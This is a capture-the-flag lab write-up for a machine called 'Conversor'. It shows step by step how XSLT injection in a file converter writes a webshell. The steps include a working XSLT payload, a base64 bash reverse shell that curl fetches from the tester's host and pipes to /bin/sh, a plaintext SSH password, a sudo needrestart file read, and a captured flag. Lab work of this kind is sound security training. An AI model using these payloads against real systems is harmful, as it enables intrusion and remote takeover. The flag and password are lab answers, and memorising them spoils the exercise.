Conversor¶

Initial Scan¶

Discovered open port 22/tcp on 10.10.11.92
Discovered open port 80/tcp on 10.10.11.92

Port 22 is SSH, port 80 is HTTP.

Enumeration¶

The web application is a file converter. The source code is downloadable from the site. The README references a /scripts/ directory.

The application is vulnerable to XSLT injection.

Exploitation¶

XSSI Injection to Write a Webshell¶

We use XSLT exploit:document to write a Python file to the webroot:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exploit="http://exslt.org/common"
    extension-element-prefixes="exploit"
    version="1.0">
    <xsl:template match="/">
        <exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import os
os.system("id>/var/www/conversor.htb/static/images/result.txt")
        </exploit:document>
    </xsl:template>
</xsl:stylesheet>

Verify execution:

http://conversor.htb/static/images/result.txt

Reverse Shell¶

Host a base64-encoded reverse shell:

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.182/80 0>&1 &"' | base64 -w 0 > shell.sh
python -m http.server 8080

Update the XSLT payload to fetch and execute it:

<exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import os
os.system("curl -s http://10.10.14.182:8080/shell.sh |base64 -d |/bin/sh")
</exploit:document>

User Credentials¶

Enumerate the SQLite database:

strings www/conversor.htb/instance/users.db

MD5 hash for fismathack:

SSH in:

ssh fismathack@conversor.htb
# password: Keepmesafeandwarm

Privilege Escalation¶

sudo -l

User fismathack can run /usr/sbin/needrestart as root.

Using the needrestart privilege escalation via Module::ScanDeps:

sudo /usr/sbin/needrestart -c /root/root.txt

This reads the root flag directly.

Flags¶

user.txt: 2e6eb1c282ec8f7b6555a5c33ea8626d root.txt: ***